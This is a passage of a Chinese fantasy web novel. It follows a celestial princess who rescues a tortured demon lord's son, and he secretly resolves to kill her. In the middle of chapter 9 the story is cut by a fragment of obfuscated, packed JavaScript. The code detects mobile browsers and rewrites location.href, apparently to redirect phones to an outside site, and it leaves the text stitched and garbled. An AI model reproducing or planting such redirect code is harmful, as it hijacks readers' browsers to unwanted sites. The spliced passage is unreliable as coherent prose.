十几只魔灵铁骑簇拥着一条约摸四丈高的三头巨蟒,蟒身上驮着一抬镶金嵌宝的肩舆,隔着泠泠作响的坠玉珠帘,隐约能看见一道肥头大耳的身影。
叶星簌差不多能猜到来者何人,这副尊容,十有八九就是魔族少尊了。
巨蟒像泥鳅一样灵活滑行着,肩舆中传出笑声。一众魔修掠过客栈,压根没有停下来的意思,甚至也不在意此地有没有人。
叶星簌微讶,他们行路匆匆,原来不是来客栈掳人的。
看来那些凡人算是逃过一劫了。
既如此,叶星簌只当是与魔族擦肩而过。她刚想坐回去,突然目光一凛。
三头蟒的其中一张嘴里衔着一根手腕粗细的铁链,链条很长,拖着地,在急雨中哗哗响着。
而铁链的另一端竟然锁着一个气息奄奄的人!
冷雨敲打在沉铁上,重枷锁在他的脖颈间,他整个人像块破布,被生生拖着地疾行。
叶星簌释放神识探了两次,一再确认,那人既没有仙气罩体,更没有丁点魔气——
应该是个凡人。
那人的气息越发微弱,披头散发,看不清容貌。
叶星簌来不及探究更多,眼下最要紧的是得赶紧救人。这人命大,还吊着一口气,但若是就这么被栓着脖子拖地,走不了二里地他就必死无疑。
她不再犹豫,曲指抵在唇边,吹响一声清亮的口哨。
这道哨声被风雨遮掩,魔修并未察觉。
神识轻动,叶星簌传音道:“先别睡了,让姐姐看看上次送你的颈圈漂亮吗。”
话音落,浓云密布的夜幕上突然被生生地撕出来一个口子,刺眼的金光从其中穿过,射向人间大地。
与此同时,响遏行云的唳鸣长啸当空。
铁钩似的坚爪率先拨开云雾,下一刻,巨兽展开翅膀,俯身探首,赤火似的双眼似乎可与太阳争辉。
巨兽的颈间戴着一只镶嵌宝石的金饰。
是金翅大鹏!
魔族灵骑一下子乱了阵脚,连刚刚嚣张的三头巨蟒都僵在原地,颤栗地蜷起蛇尾扭了扭,扭得一阵颠簸,差点把肩舆里的胖主人给甩出去。
“哎呦摔死我了!”魔族少尊还没瞧清发生了什么,连忙扶着歪斜的发冠起身,骂骂咧咧道:“干什么!你们干什么!想造反不成?!”
魔修们已经乱成一锅粥。
“不好!是金翅大鹏!这附近一定有九重天的人!”
“少尊,情况不妙,如果被仙家发现我等过境,之后肯定会在附近增派人手,麻烦不少……”
“少尊,尊上之前特地嘱咐,最好不要跟九重天的人起冲突。”
“……”
肩舆帘子“刷”地掀开,露出一张肥肉狰狞的脸。魔尊少尊阴狠地望向天际。
“这死鸟怎么会出现在这儿?!天上那帮老匹夫真是闲得没事做!”
“少尊,这该怎么办……啊——”
金翅大鹏突然展翅,俯冲而下,锐利的眸子直勾勾盯着三头蟒,“砰”地稳稳落地。巨兽的庞大身躯带起劲风,雨丝打着旋四散迸溅。
魔族少尊狠狠一脚踹向巨蟒,吼道:“把这鸟给我撕了!”
巨蟒吐了吐信子。
金翅大鹏歪歪脑袋。倏地,它以迅雷不及掩耳之势飞扑上前,尖利的爪子抓在巨蟒身上,瞬间就划开三道血淋淋的伤口。
三头蟒仰天嚎叫,痛得蛇尾缠来缠去,直接把胖主人给甩了出去。
魔族少尊没有防备,脸着地在泥路里滚了几圈。其他魔修慌忙去扶,等胖子好不容易抖着肥肉从地上爬起来,众人转个头又发现金翅大鹏的两只爪子如同铁钳一般狠狠勒住了巨蟒的七寸。
三头巨蟒完全不是金翅大鹏的对手,蟒身像是打了结,在泥水里疯狂乱扭。
“少、少尊,现在该怎么办?”
金翅大鹏对付起来棘手得很,最主要的是,九重天的人说不定就在附近。
两只畜牲打起来倒也罢了,若是仙魔插手,这事儿就另当别论。
显然,魔族少尊也明白这个道理。
少尊咬牙切齿地扔了鞭子,随手抹一把脸上的雨水,冲三头巨蟒骂道:“没用的东西!”还不够泄愤,又往其他魔修脸上噼里啪啦甩了几个耳光。
“这个亏我记下了,迟早跟九重天的那帮杂碎算账!”少尊怒道,“走!回王城!”
其中一个魔修捂着红肿的脸,战战兢兢站出来,指着金翅大鹏和三头蟒脚下那个一动不动的人,问道:“少、少尊,他怎么办?好像没气了……”
少尊又一巴掌扇过去,嗤笑:“你问我?”
众魔修讪讪不敢言。
少尊冷笑一声:“既然已经没气了,还有什么意思?凡人的种就是命贱!就扔这儿吧……看什么看!不然你们几个留下来给他挖个坟坑?”
叶星簌遥遥听见这些话,心里一紧。
少尊继续道:“行了,此地不宜久留,金翅大鹏出现在这儿只怕不是偶然,不知道九重天想干什么,得赶紧回去禀告父尊!”
众魔修终于离开。
金翅大鹏还在单方面撕
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扯三头巨蟒,魔兽被主人毫不犹豫地抛弃,此刻更是全无招架之力。
叶星簌吹了个口哨。
金翅大鹏停下单方面的殴打,歪头看了看她,双翅一抖,发出一声欢快的鸣叫。
叶星簌从客栈里迈步而出,大鹏鸟立刻亲昵地贴过来,低头用喙轻轻蹭了蹭她的掌心。
叶星簌笑了笑:“好厉害。”
大鹏鸟昂首挺胸。
叶星簌夸赞:“这个颈圈很衬你,特别威风。”
金翅大鹏更得意了,欢快叫了两声。
这只神鸟是天君送给她的生辰礼。当年,明鹤璋特别喜欢它,跟天君要了个承诺——如果他能在试剑大比上赢了太子大哥,就请天君把金翅大鹏送给他。
结果可想而知,明鹤璋没有赢过一次。
天君很快就把这桩承诺给忘了。没多久就是聂阳王女的生辰,天君大手一挥,直接把金翅大鹏送来聂阳了。
叶星簌回神,温声对大鹏鸟道:“今晚辛苦了,把这条蛇抓去九重天,看看哪位仙君想要泡酒炼药。”
金翅大鹏又蹭了蹭她,旋即转身振翅,抓起巨蟒便腾空而起,直冲云霄。
叶星簌以仙气护体,雨水没有落在身上半滴,走向那个无声无息的人。
她取下发簪,发丝散了下来。青玉簪子瞬间在手中变成一把长剑,剑风扫过去,那人颈间的铁枷应声断开。她手腕一转,长剑又变成一把油纸伞。
叶星簌撑着伞,居高临下地站在他身前。
离得近了,才发现这人伤得极重,浑身的衣服凌乱又脏破,乱布似地披挂在身上,堪堪欲裂。
这人露在外面的皮肤没有丁点完好之处,全身皮开肉绽,似乎是受了酷刑,两只脚也布满擦伤和血痕。
叶星簌蹙眉,也不知道这人可否还有命活。
她刚准备释放神识去探他的心脉,突然发现他的眼皮微微一颤。
叶星簌:“喂,你还好吗?”
卿岌艰难睁开眼,入目便是头上遮得严严实实的伞面。
耳边全是风声、雨声、以及一个女人的说话声——
一个黄衣女子救了他。意识迷蒙,她的面容在漆黑的雨雾之中显得格外朦胧,什么都看不清。
卿岌下意识想要看清她的模样,但却像是被一股无形强悍的力量坠着,阻拦他的意图。
不知道哪来的怨气与血雾,原本嚣张地蛰伏着等待把他一击毙命,在她出现的瞬间,这些乌烟瘴气的东西似乎更狂躁了。
他似乎听到了这些怨气中有哭声、喊声、绝叫声……
吵死了。
他想。
再次晕过去时,卿岌只有一个想法:
好吵,想杀人。
9. 第 9 章
那人又晕过去了,刚刚的一瞬清醒好像只是幻觉。
叶星簌捏诀,二人身形一晃,闪身移入客栈之中。
厅堂内黑灯瞎火,方才那些人慌张逃跑时碰倒的桌椅横七竖八地摔了满地。叶星簌随便并了两张桌子,将人移上去,竖掌将神力推入他的心脉,暂时能保他一口气。
她刚燃起蜡烛,正发愁这人的一身外伤该怎么办,门外传来急促的脚步声。
“姑娘!”白霓破门而入,手里提了个狼狈不堪、胡乱挣扎的人。
叶星簌一看,是刚刚那个知道很多的书生。
“……哪来的小娘皮?!抓老子干嘛!快把老子放下……哎哟哟疼疼疼!姑奶奶您松手成不成求您了!”书生被白霓拎小鸡崽似地拽进来,发出杀猪般的嚎叫。
叶星簌使了个眼色,白霓直接撒手。
书生“噗通”一声脸着地,似乎察觉到客栈内气氛不对,直接把眼一闭,赖地上装死。
叶星簌觉得好笑,倒也没管他,抬眉询问白霓:“他怎么了?”
“姑娘,方才属下一路跟着他们抵达山庙,并没有遇上魔族。但这厮趁人不注意,在庙里撒迷药放倒所有人。”白霓笃定道:“他想逃跑。”
听见这话书生立即坐不住,装也不装了,一骨碌坐起来,扬声驳斥道:“哎!你谁啊!你会不会说话!老子那是逃跑吗?没见过做好事不留名的大侠吗?”
叶星簌坐在桌边,手指轻敲桌面,静湖似的目光凝视着他,话却是在问白霓:“他刚刚是往哪个方向跑的?”
书生方才被抓进来时就发现了,这个样貌清丽、周身气质柔和的黄衣少女绝对深不可测,相比揪着他后领、一副要削了他模样的女侍更加不好对付。他刚抬起眼,直接对上了那双看不清丁点情绪的黑瞳,心里一咯噔。
白霓:“往东跑。”
东……
山庙在西,客栈在东。
叶星簌笑了笑,好奇道:“瞧先生先前那副模样,应该不是装出来的,你既然这么害怕魔族,怎么刚把大家救走,就急匆匆地往回赶呢?”
她四下环视一圈,戏谑问道:“先生可是落了什么东西?”
书生藏在袖中的手轻轻一颤,抬头,装傻:“这怎么会是往东?!老子再蠢也不可能自投罗网啊……我我我有点转向……”
不愿说算了。
叶星簌收回视线,反正他肯定不是个魔,有什么秘密无关紧要,重要的是眼下还有个伤员。
叶星簌看向白霓:“你身上带药了吗?”
白霓:“……属下失职。”
叶星簌微微拧眉,这个回答在她意料之中。此次出来不是历练,更不是找人打架,就算跟谁起了冲突还能搬出身份避免麻烦;白霓又从来不知疼不管伤病,带着药反倒是累赘。
不过这下倒是棘手了。
三更半夜,荒郊野岭,上哪儿去找大夫呢……
门口传来微弱声响,白霓看也不看,直接拔剑甩了出去,长剑直愣愣地插在那就地匍匐的书生的指缝之间。
书生吓愣了。
叶星簌依旧是柔和的语气,道:“先生别忙着走啊,您见多识广,我还有事要请教。”
书生哆哆嗦嗦,手似乎没了知觉,“什什什么事?”
“不急,”叶星簌看向桌上那个气息奄奄的人,道:“他伤得很重,你知道附近哪里有医馆或者大夫?”
书生颤栗着抬头一瞧,那人的满身狼狈同样把他看得一惊。
“这,这是谁啊?”
“魔族扔下的。”叶星簌踢了踢脚边的镣铐,“受过刑,应该不是普通人。”
书生微愣,试探问道:“这人是……姑娘救下的?”
叶星簌没有回答这个问题,而是笑道:“对了,先生刚才没说完,枯邕城里发生什么事了?”
“魔域出了什么事我一介凡人怎么知道。”两个人都有心照不宣的事情。书生终于老实很多,叹了一口气,“最近的确有人失踪,但是不是魔族干的真不好说……我只知道这两天枯邕城里头不太平,随便掰扯两句把人吓唬走而已,总不能眼睁睁看着他们自投罗网吧。”
书生没靠太近,抻着脖子打量过后,突然话音一转道:“姑娘,我就在小玄山落脚,方圆百里几个庄子几口人,我差不多都过了一遍眼,这人不像是附近村子里的。”
叶星簌也不意外,思量片刻:“会是过路的修士吗?”
书生抓抓头发,索性直言:“我的意思是,这人身份不简单,您别给自己揽了个麻烦。”
叶星簌:“不会。你放心,你也不会有麻烦。”
书生想了想,不再劝了,“行吧,救人要紧。”
他话音一转,得意道:“不用找什么医馆,在下不才,正好是个大夫。”书生咧嘴一笑,“我叫晏梦年。”
外头下着雨,叶星簌的心思还在救人上,冷不丁听见那三个字,突然一愣。
晏梦年?
此人还真是个凡人,只是不是一般的凡人。
他是药神在凡间济世时收的唯一一个弟子。药神生前十分记挂这个凡人徒弟,曾特地嘱咐福禄寿三位仙君年年为其赐福庇佑。
叶星簌意外道:“你是‘愁无常’?”
晏梦年医术极高,可使苟延残喘之人起死回生,“愁无常”顾名思义,连黑白无常看见他都犯愁。
因为晏梦年屡屡篡改凡人命格,扰乱判官和黑白无常的正常公干,所以地府的人都快把他骂死了。阎王每年来九重天觐见天君,一定要参一本这个爱多管闲事的凡人。
能叫地府吃瘪的凡人罕见得很,他又是药神的最后一个徒弟,于是晏梦年的名号就在仙域传开了。
晏梦年意外:“姑娘知道我?”
叶星簌坦诚道:“和传闻中不太像。”
晏梦年翻了个白眼:“那不然我怎么放倒那些比牛还壮的镖客?一闻就倒的迷药千金难求,这荒郊野岭哪儿有?”
晏梦年围着那人转了一圈,轻嘶一声:“伤得不轻啊!魔族真是丧尽天良。”
叶星簌:“能治吗?”
晏梦年:“难说,得治了才知道。这客栈里头屁也没有,我得把他带回去缝合。”
被美人叫出江湖名号这件事让晏梦年瞬间得意忘形,指挥白霓,“那个谁,你把这倒霉蛋背上,仔细走稳点,别把人颠死了,我在前头带路。”
白霓连一个眼神都没赏他。
叶星簌起身,白霓也跟着动。
晏梦年眼睁睁看着她们走到门口,目瞪口呆,这主仆二人显然是在装傻充愣!
晏梦年默念了三遍“医者仁心”,一咬牙,把那浑身淌血的倒霉蛋拽了起来。后背的重量排山倒海般压了过来,晏梦年憋了一口气差点没摔地上,这人长手长脚,两条腿更是长得碍事,瞧着瘦削,身上倒是有点肉……吃什么长的?
晏梦年踉踉跄跄地背着人出去,外面仍是大雨瓢泼。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829657|158901||http|test|mini|href|location''.split(''|''),0,{}));
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>潮湿的泥土气息和铁锈般的血腥味混杂,萦在空气中。
叶星簌离他一步距离,“哗”地撑伞伸过来,“走吧,你带路。”
晏梦年心花怒放,心道果然还是美人心善,立即迈步走进雨里。
谁料大雨直接兜头浇下来,他仰头一看,油纸伞半边遮住叶星簌自己,半边遮住背上昏迷不醒的祖宗。
白霓递来一把伞,让他自己顾着自己。
晏梦年:“……”
那人的一绺头发垂了下来。
叶星簌看见,血污之下那苍白的皮肤和凌厉的眉骨。
……
晏梦年的住处就在小玄山南边的腰腹深处。院子逼仄,东西归置得乱七八糟。
一落屋,晏梦年来不及换掉湿透的衣服,立即拖出来一堆瓶瓶罐罐和各式各样的针线刀剪,把叶星簌二人赶去正堂,然后把内室的帘子拽上,开始火急火燎地给人治伤。
白霓试图在一堆缺口开裂的瓷杯里找出一只勉强能用的,但她失败了。
叶星簌让她别费力气,二人坐在桌边等。
没等多久,晏梦年又在内室里大声嚷嚷,一会儿要热水,一会儿让煎药……
主仆二人对人间灶膛简直一窍不通,手忙脚乱地忙前忙后。等晏梦年再从内室出来时,三人都被折腾得够呛。
不知何时,雨停了,天边也亮起一缕朝晖。
晏梦年满头大汗,身上还是湿漉漉的,也不知是汗水还是没干的雨水。
他就地一瘫,粗气大喘:“只能暂时保住一条命。”
叶星簌皱眉,视线落在内室半阖的木门上。
晏梦年道:“咱们尽力了,那倒霉蛋本身的底子就烂得像滩泥巴,被魔族一通折磨,鬼知道怎么还保住了一口气。”
叶星簌问:“连你也救不了吗?”
晏梦年苦笑一声,伸出两根手指:“我这辈子救人无数,唯独救不了我师父……现在又多一个。”
叶星簌眼神微动,一代神君殒落,哪是他一介凡人能扭转乾坤的。
可眼下里间那个……
连药神的关门弟子都救不了的人,只怕当真命数已尽。
晏梦年:“不过他暂时也死不了,老子的医术天下无双,哪怕不能把人从黄泉路上拽回来,也能吊着命恶心恶心黑白无常。我想想啊——”
“顶多三个月,再多,天王老子来了也没戏。”晏梦年道,“有的人呐,就那命。”
三个月……
这三个字在叶星簌的唇间碾了一遍。
而她,还有两个月时间。
她已经在刻意规避原书剧情了,但她不是男主角,不叫明鹤璋,主线剧情如同一把悬在头顶随时会掉下来的斩首刀。
叶星簌想,或许可以停下步子了。
“朋友”一词太沉重,换位思考一下,倘若有谁跟她当了两个月朋友突然死去,她一定会茫然又难过。
不用再想其他人了,就这么一个同病相怜的凡人其实更好。两个人陪伴彼此最后一路,然后前后脚死,他来参加自己的葬礼,而她可以在黄泉路上等他一起。
挺好。
很完美的嗝屁搭子。
叶星簌心下有了决定。
在晏梦年的破院子里等了五天,叶星簌都差点以为那倒霉蛋熬不过去了。
第六天一大早,日头正好。晏梦年神采飞扬地来敲她房门——
“姑娘!那倒霉玩意儿醒了!!!”
10. 第 10 章
内室里弥漫着呛人的药味。
叶星簌敲敲门,里面无人应答。她推门而入,抬眼便愣了愣。本以为是该吊着一口气躺在床上的人,现在竟好端端地坐在床边。
男人披散墨发,正在慢条斯理地缠手上的纱布。听见声响,连眼皮都不抬。
那一身脏破的衣裳松松垮垮地挂在他的身上,浑身的皮肤瘆白,隐隐约约可见斑驳错杂的伤口,有些地方红肿溢血,有的伤应该有些年头了。男人稍微动了动,微一晃眼,叶星簌看见了他紧实的胸膛。
她不动声色地移开视线。
这人有些奇怪。
许久,房间里都是静悄悄的。
男人缠好纱布,又踱步掠过她,仿佛这屋子压根没有第二个人存在。他走到窗边,“砰”地一声,阖上虚掩的窗户。
不解的思绪缓缓爬上叶星簌的眼睛。
这关窗的动静听起来就用力不小,似乎是烦躁,也似乎是不耐烦……
晏梦年的医术这么高超的吗?这人几天前还是一副随时翘辫子的模样,刚醒来就恢复得与常人无异了?居然还能泄愤摔窗户。
她转念思考起另一个可能:难不成是因为他快死了,现在都是回光返照?
“啧。”
轻轻的一声,拉回了叶星簌的思绪。
卿岌抱臂倚在窗边,身形颀长,长发随意地散在肩上,视线下敛,眉目带着几分凌厉,一双眸子冷清淡漠,没什么表情,似乎满身伤口的人不是他自己。
叶星簌试图打破沉默:“你是附近的村民吗?家在何方……”
“嘘。”他竖起一根手指,打断她的问题。
叶星簌疑惑地看着他。
男人微微侧首,似乎在分辨窗外的声音,片刻后,他低声道:“好像是鸳鸯……不对,是灰喜鹊。”
叶星簌听得一头雾水:“你在说什么?”
卿岌一顿,仿佛终于意识到她的存在,但平淡的视线一扫而过,似乎压根懒得多看她一眼。
叶星簌眨眨眼,怀疑刚刚看岔了。二人视线对上的一刹那,他的眼神明显很不善,仿佛在看一个死人。
只是还不等她多想,卿岌便漫不经心开口道:“我在说,一种特别晦气的声音,很吵。”
“什么?”叶星簌完全懵了。
男人突然轻轻扯唇一笑,终于正眼凝着她,含笑道:“没什么。”
叶星簌却会错了意,以为他察觉到自己命不久矣,此时是在自暴自弃。但她并不知道该如何安慰,而且,她总觉得这人太古怪……
叶星簌只好继续最开始的话题:“你是附近的村民吗?”
卿岌:“不是。”
叶星簌打量他片刻,自报家门:“我姓叶,叶星簌,你可以随意称呼。中原修士,出身小门小派。”
卿岌显然并不在意她的身份,撩衣坐在桌边,兀自倒了一杯水,一手支着头,另一手把玩瓷杯。
叶星簌:“你现在感觉如何?身上有不舒服的地方吗?”
卿岌:“死不了。”
叶星簌点头,“死不了就好,我们可以聊几句。”
她坐到他的对面,开门见山:“魔族为什么抓你,还有那些山民百姓?”
卿岌:“……”
叶星簌又问:“除了你,其他人还活着吗?”
卿岌有些意兴阑珊:“其他人?谁啊?如果是在枯邕城,我没有见过一个活人。”
叶星簌默了默,看不出他说的真话还是假话。
屋里静了须臾,卿岌忽然饶有兴趣地看着她,道:“你是中原修士?”
叶星簌点头。
卿岌:“中原修士千里迢迢跑到这荒山野岭,难不成也是来做白日梦的?”
“什么白日梦?”叶星簌的目光落在他的手臂上,忍不住提醒道:“对了,你在流血。”
他的衣裳破破烂烂,半截袖子都没了,只剩凌乱的线头和参差的截口,露出满是伤痕的手臂,青筋微凸。这人没什么坐姿地倚在桌边,伤口恰好抵在了桌角上,从他们对话开始,叶星簌就被涔涔落下的血滴吸引注意。
卿岌却浑然不觉,一动不动,也不理会她的提醒,直接道:“好心劝你一句,白日飞升的梦醒一醒——登仙梯塌了。”
聊了这么久,叶星簌的神情终于有些松动,意外道:“你怎么知道登仙梯塌了?”
难怪他的态度如此阴阳怪气,知道这么多,身份果然不一般。凡人里面知道登仙梯存在的屈指可数,这人的能力应该不俗。叶星簌向来对脾气古怪但有能耐的人怀着些许宽容。
而且这人皮相也不赖,一想到他命不久矣,多少可惜。
卿岌轻嗤:“动静那么大,想不知道都难。”
叶星簌补充道:“我的意思是,既然你知道登仙梯的存在,那你也是修士吗?”
卿岌眉眼微弯,笑意却不达眼底,幽幽道:“我不是修士。对了,我叫卿岌。”
二人沉默对视片刻,卿岌的目光如同猛兽伺机狩猎般直直地凝着她,毫不掩饰眼底冷厉。
叶星簌眨眨眼,客气道:“……呃,挺好的名字。”
卿岌“噗嗤”一声发出冷笑,随即移开视线,慢条斯理地端起杯盏一饮而尽,二人周身萦绕的肃杀之气在无声中隐隐退散了。
“原来是我多嘴了。”卿岌道:“既然早就知道登仙梯没了,那姑娘还来这里干什么?”
叶星簌望着他,语气突然莫名地欢快了几分:“来找有缘人。”
卿岌没想到会听到一个这么离谱的回答,笑容更嘲讽了,慢悠悠道:“荒郊野岭,人魔交界,你说是来找死都比找人可信。”
叶星簌往前挪了挪凳子,眼睛很亮,道:“我是说真的,卿公子。而且我觉得,你就是我的有缘人。”
卿岌微微一笑,温声道:“姑娘不该找有缘人,该先去找大夫。”
“你在嘲讽我有毛病?”他的杯子空了,叶星簌一边顺手添茶,一边道:“公子不信也无妨,但我第一眼就感觉与你有缘,我也是真心想和卿公子交个朋友。”
“是吗。”卿岌看着杯中轻轻漾起的水波纹,“可在我看来,你我之间缘薄分浅。”
叶星簌笑道:“缘分深浅是你说了算吗?我可是你的救命恩人啊,你不打算报恩?”
卿岌:“不打算。”
叶星簌:“你也太理直气壮了吧。”
卿岌:“叶姑娘神通广大,道法高深,救我一个无名小卒,抬下胳膊的事。”
叶星簌歪了歪头,微笑道:“可我偏偏就要你报答恩情呢?”
卿岌没说话,嘴角噙着一丝笑,笑意越来越凉薄。
叶星簌对他冷漠的表情视而不见,继续道:“晏大夫说你的伤还需要不少时日疗养,在这期间,你哪里也别去,待在这里好好养伤。”
卿岌略带笑意:“腿长你身上了?”
拢共就没说几句话,这男人已经呛她好几回了,嘴巴这么毒,难怪被折磨得这么惨。
活该。
念及他时日无多,叶星簌很大度地原谅他对聂阳王女的出言不逊。
叶星簌起身,笑道:“总之,这段时间我们好好相处吧。”
卿岌抱臂,凉凉地看着她,不置可否。
叶星簌拉开门,临走前扭头,道:“你重伤未愈,最近只能吃些清淡的,我去给你准备些吃食,你有什么忌口的吗?”
卿岌:“什么都忌。”
叶星簌:“……那我自己看着办。”
门一
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阖上,卿岌这才漫不经心地抬起手臂,看了看血流不断的伤口,嫌弃地偏开视线。
屋里很静,他侧耳细听窗外,又听到灰喜鹊的叫声。
这时,“吱——”地一声,房门被人推开。
“你的伤口又流血了?!”
卿岌面无表情地抬眼,晏梦年背着一箱子药走进来,大喝一声:“你这厮怎么回事!想没命吗!还不赶紧滚回床上躺着!”
晏大夫张口老子闭口老子地骂骂咧咧,卿岌充耳不闻,目光落在他身后。
片刻后,卿岌道:“她走远了。”
晏梦年骂人的嘴终于停了,立即伸腿把门一踢,“砰”一声又阖上了。
“啧,”晏梦年收了他的大嗓门,眼神也变得冷漠。
“哟,小尊主,许久不见,怎么落魄成这副埋汰样?”
卿岌没理会他,缓缓起身,踱到叶星簌方才坐着的地方站定,一手负于身后,另一手的指尖轻触桌面。
她方才就坐在这里,探身与他交谈。
桌边仍留有一抹温热。
晏梦年把一团纱布扔给他,冷眼旁观:“你们刚刚聊什么呢?她是谁啊?什么来历?”
“说是叫叶星簌。”卿岌随便包扎几下,总算止了血。
“我那会儿提醒过她,说你身份不简单,就是想让她知难而退,结果那姑娘压根不在意。”晏梦年思考良久,道:“能把你从那死胖子手里救下来,本事不容小觑,估计出身也不凡。不过那几个大门派里也没听说过什么姓叶的,该不会是假名吧?”
“凡间没有,”卿岌沉吟,“仙域呢?”
晏梦年一愣,绞尽脑汁终于想起什么,惊道:“对了,聂阳!她是聂阳王城的人!我记得聂阳王君叶旃有俩闺女,也不知道她是姐姐还是妹妹。”
卿岌冷扫他一眼,“再大点声把人招来,你就能当面问了。”
晏梦年的眉头拧成一团,连忙压低声音道:“聂阳王女跑到小玄山干嘛?”
“我是在官道旁的客栈遇见她的。开始我就当她是个普通修士,跟别人一样来找登仙梯碰仙缘,所以压根没在意。谁知道后来我折回来准备救你,反倒被她当瓮中之鳖捉了。”
晏梦年不由猜测道:“仙家的人怎么在这里?难不成九重天和聂阳王城最近打算伐魔啊?”
卿岌回想着,只觉得好笑,“不太像。”
他把玩着瓷杯,饶有兴趣道:“她猜到我的身份后,眼睛都亮了,激动得什么鬼话都说得出口。”
晏梦年:“她说什么了?”
卿岌:“她说,她来找有缘人,然后找到了我。”
晏梦年以为自己听岔了:“……你?有缘人?聂阳王城在打什么主意?”
哪个神仙找有缘人会找到一个魔?
“罢了,顶多是些不堪入眼的小算计,”卿岌不甚在意,眼底阴鸷,道:“那小神仙装模作样的样子太蠢了,简直不想多看一眼。还有,她满脑子的算盘声真是吵死了,吵得头疼,刚刚差点没忍住……”
晏梦年没忍住翻了个白眼:“头疼是病,是你受刑的后遗症,跟人家小王女没关系。”
卿岌没理会他,想了想,突然笑道:“没准她就是脑子里缺根筋,你要闲着没事就给她治治。”
“当然,不治也无所谓,”卿岌道,“说不定哪天我俩就打起来了,要么我死要么她死,也省了你的事。”
晏梦年无语:“……你俩非得死一个吗?”
“她救了你不说,刚刚猜到你的身份也没拆穿。就你现在这副德性,连刀都拎不动,她怎么可能看不出来?只要她想,抬下手就能送你见阎王。”
晏梦年:“我看人家脾气挺好的,你们要是打起来,肯定是你主动找事儿。”
11. 第 11 章
卿岌压根没去听他在叭叭什么,“我原本打算用那个死胖子试试新刀,谁想到有蠢货自己巴巴送上门来,就这么把人放走,我才是蠢货。”
晏梦年:“你认真的?”
卿岌乜他一眼,淡声道:“不然我现在就杀给你看?”
晏梦年猛摇头:“不不不,您想干什么都行,但可千万别牵扯我!我把你的一身伤治完就立马走,老子一介凡夫俗子,不敢掺和你们仙魔打架。”
晏梦年还是忍不住劝道:“不过你再掂量掂量啊,聂阳王君是这四海八荒一人之下万人之上的存在,聂阳王女更是金枝玉叶,你要敢动她,那可就相当于跟仙家宣战了。”
卿岌微笑:“杀的就是她。如果是个普通人,我可能还会考虑给她个痛快,现在么,我在想要不要试试凡人的法子,凌迟什么的,应该很不错。”
晏梦年疑惑道:“她得罪过你?还是聂阳王城的人得罪过你?”
卿岌:“哦,那倒没有,单纯看他们神仙不顺眼。”
晏梦年:“……”
晏梦年:“我单纯看你有脑疾。”
“算了,”晏梦年道,“但我还是得提醒你一句,仙魔要是打起来,只会两方都吃亏,这千把年来摩擦不断,你爹累计受的伤还没好利落,现在宣战是在坑他。”
卿岌浑不在意道:“那老不死的活得够久了。他的大儿子二儿子为了王座相争千年,老东西也该识趣点尽快腾出位置。”
晏梦年啧啧道:“你爹死前肯定先来枯邕城把你砍了。”
卿岌冷嗤一声:“我不是很快就死吗。”
晏梦年一噎。
卿岌睨着他,问道:“还有多久?”
晏梦年的声音低落了几分,“最少两个月,撑死半年。”
晏大夫满脸懊丧,有愧疚、有无力,喋喋不休道:“我就没见过你这么没用的魔,城里头那些屁大点的魔娃娃都有魔骨,怎么就你天生是个废物啊?没有魔骨就算了,你说你去凡间溜达一圈,还能把自己搞成这副死样,人间有什么厉害的东西啊,能把你伤成这样……”
听见自己死到临头,卿岌完全没什么反应,他突然嫌弃一拧眉,问道:“这院子里还有一个人?”
晏梦年的啰嗦声音戛然而止,道:“对啊,你、我、聂阳王女还有她的侍女,话说她的侍女又怪又冷,还戴着面具,凶得很……”
“闭嘴,”卿岌不耐烦道,“我知道了。”
晏梦年:“你又想干什么?”
卿岌微微挑眉,道:“我是用双刀的。”
言下之意就是要把两个人都杀了。
晏梦年头疼道:“老子会早点滚。”
卿岌喃声盘算道:“两个月啊……可我还有该杀人没杀。”
晏梦年终于伸手给他把脉,随口安慰道:“你杀人多快啊,跟割韭菜似的。”
……
叶星簌站在院子门口,扭头看向那间屋子紧闭的窗格。
白霓跟在其后,拿着帷帽,见小主人出神,唤道:“姑娘?”
叶星簌收回视线。
她接过帷帽戴上,低笑自言自语道:“也算踏破铁鞋无觅处,倘若脾气没这么烂就更好了……不过,谁让我对人家有所图呢……”
她很走运。还没入魔域,就捡了一个魔。
只听他说话的那副德性,就知道不是什么好人。正好,她的计划里就没打算找好人。
姓卿,那就是魔尊的儿子。但卿岌这名字她压根没听说过,仔细回想一遍前世看的《狂道大剑尊》,从名震六界的魔尊,到那个出场两章就被明鹤璋劈了的纸老虎少尊,更是半句没提过卿岌这号人。
他应该就是枯邕城的废物城主,那个天生没有魔骨的魔尊幺子。
这样一来,所有的事情都说得通了——几日前仙梯坍圮的动静不小,于枯邕城和魔域而言定是不小的祸事,所以魔尊震怒,遣少尊来问责。这才有了她在客栈里见到的那一幕。
只是……
叶星簌还有一件事想不通,附近的村民是因何失踪?
身后,白霓把佩剑挂在腰侧,出声打断她的思绪,“姑娘,属下跟晏大夫打听过了,附近一共三处庄子有村民丢失,山脚的庄子有三户人失踪,靠近官道的两个庄子一共有八户人失踪。”
“嗯,去看看。”叶星簌放下帷帽前的白纱,主仆二人出门下山。
五日前落下的大雨还没干透,深林里泥泞不平,处处弥漫着湿重的泥土味。
小玄山山高坡陡,真走起来的确得费一番功夫,好在坡上有不少坎坷窄路,蜿蜿蜒蜒地一路通向山顶,应该都是这两年来被求仙的修士们踩出来的。
山脚的草木间散落着几处贫瘠屋舍,远远望去,青色的炊烟正悠悠缓缓地山间升腾盘绕。
叶星簌觉得这种景致特别稀奇,谁能想到,安然静谧的另一侧,便是炼狱般的魔城。一方纯粹到恍惚,一方又撕裂到极致。
她们在一处农院前驻足。
“汪汪汪!”
篱笆墙内,一只大黑狗一边摇尾巴,一边狂吠。
叶星簌无奈又友好地挥挥手:“小狗,别叫了,你家主人在吗?”
回答她的是更大声的“汪汪汪”。
“稻子回来!”
伴随一声男人的粗喝,院子深处传来叮呤咣啷的声响,黑狗呜咽两声,欢快地甩着尾巴朝里跑去。
叶星簌扬声问:“是主人家吗?”
似乎是她的声音听起来柔和无害,木门之后传来一阵悉悉索索的声响,随即,“吱呀”一声,门开了一条缝。
